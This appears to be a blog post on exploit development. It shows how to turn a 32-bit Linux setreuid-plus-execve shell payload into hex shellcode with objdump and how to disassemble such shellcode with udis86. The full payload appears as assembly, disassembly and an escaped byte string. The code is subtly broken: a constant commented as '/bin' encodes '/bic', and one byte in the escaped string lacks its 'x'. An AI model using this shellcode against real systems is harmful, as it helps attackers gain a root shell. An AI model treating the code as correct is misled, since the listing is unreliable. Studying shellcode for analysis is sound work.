Hey, kudos!
You don't run arbitrary scripts either!

My apologies for the JS on this page…
it's prettify.js for syntax highlighting
in code blocks. I've added one line of
CSS for you; the rest of this site
should work fine.

      ♥Ⓐ isis

code.

Disassembly

Often when doing exploit development, it’s necessary to extract hex opcodes from an assembly or C program to generate shellcode. Normally, to do this, one uses objdump as in the following example:

∃!isisⒶwintermute:~ ∴ cat shellcode.asm
section .text
    global _start

_start:
    ;; setreuid (0,0)
    xor eax, eax      ;clear the eax registry
    mov al, 0x46      ;set the syscall # to decimal 70 or hex 46, one byte
    xor ebx, ebx
    xor ecx, ecx
    int 0x80          ;system interrupt to call kernel to execute syscall
    ;; spawn shellcode with execve
    xor eax, eax
    push eax          ;push a NULL value on the stack
    push 0x68732f2f   ;push '//sh' onto the stack
    push 0x6369622f   ;push '/bin' onto the stack
    mov ebx, esp      ;esp now points to '/bin/sh', so write to ebx
    push eax          ;push another NULL to terminate char* argv on stack
    push ebx          ;push pointer to '/bin/sh' onto stack
    mov ecx, esp      ;esp now holds the address of argv, so write to ecx
    xor edx, edx
    mov al, 0xb       ;set the syscall # to decimal 11 or hex b, one byte
    int 0x80          ;sytem interrupt to call kernel to execute syscall
    ∃!isisⒶwintermute:~ ∴ nasm -f elf shellcode.asm
    ∃!isisⒶwintermute:~ ∴ ld -melf_i386 -o shellcode shellcode.o
    ∃!isisⒶwintermute:~ ∴ objdump -d ./shellcode
    ./shellcode: file format elf32-i386
    Disassembly of section .text:
        08048060 <_start>:
        8048060: 31 c0            xor %eax,%eax
        8048062: b0 46            mov $0x46,%al
        8048064: 31 db            xor %ebx,%ebx
        8048066: 31 c9            xor %ecx,%ecx
        8048068: cd 80            int $0x80
        804806a: 31 c0            xor %eax,%eax
        804806c: 50               push %eax
        804806d: 68 2f 2f 73 68   push $0x68732f2f
        8048072: 68 2f 62 69 63   push $0x6369622f
        8048077: 89 e3            mov %esp,%ebx
        8048079: 50               push %eax
        804807a: 53               push %ebx
        804807b: 89 e1            mov %esp,%ecx
        804807d: 31 d2            xor %edx,%edx
        804807f: b0 0b            mov $0xb,%al
        8048081: cd 80            int $0x80

So, from this example, the shellcode would be:

    \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\2f\x73\x68\x68\x2f\x62\x69\x63\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

But! What if you have some shellcode, say from a nasty PDF that someone sent you (though a malPDF’s shellcode would be in JavaScript, and so it would look like “%u68%u73%u2f%u2f”), and you don’t want to have to sit there with a hex-to-ascii chart looking everything up by hand just to find out what this shellcode is doing? As it turns out, there’s a handy little thing called udis86 to do all that boring work for you. You have to download their tarball, then do:

    $ ./configure && make && make install

And run it with:

    $ udcli

Words can’t describe how much I’m crushing on this program. Check this out:

    ∃!isisⒶwintermute:~ ∴ udcli -x \
    … 31 c0 b0 46 31 db 31 c9 cd 80 31 c0 50 68 2f 2f 73 68 68 2f 62 69 63 89 e3 50 53 89 e1 31 d2 b0 0b cd 80
    0000000000000000 31c0              xor eax, eax
    0000000000000002 b046              mov al, 0x46
    0000000000000004 31db              xor ebx, ebx
    0000000000000006 31c9              xor ecx, ecx
    0000000000000008 cd80              int 0x80
    000000000000000a 31c0              xor eax, eax
    000000000000000c 50                push eax
    000000000000000d 682f2f7368        push dword 0x68732f2f
    0000000000000012 682f626963        push dword 0x6369622f
    0000000000000017 89e3              mov ebx, esp
    0000000000000019 50                push eax
    000000000000001a 53                push ebx
    000000000000001b 89e1              mov ecx, esp
    000000000000001d 31d2              xor edx, edx
    000000000000001f b00b              mov al, 0xb
    0000000000000021 cd80              int 0x80

<<< Automated, Bandwidth-Efficient, and Encrypted Backups Progress & Problems: Tmux for Android >>>

blogroll

social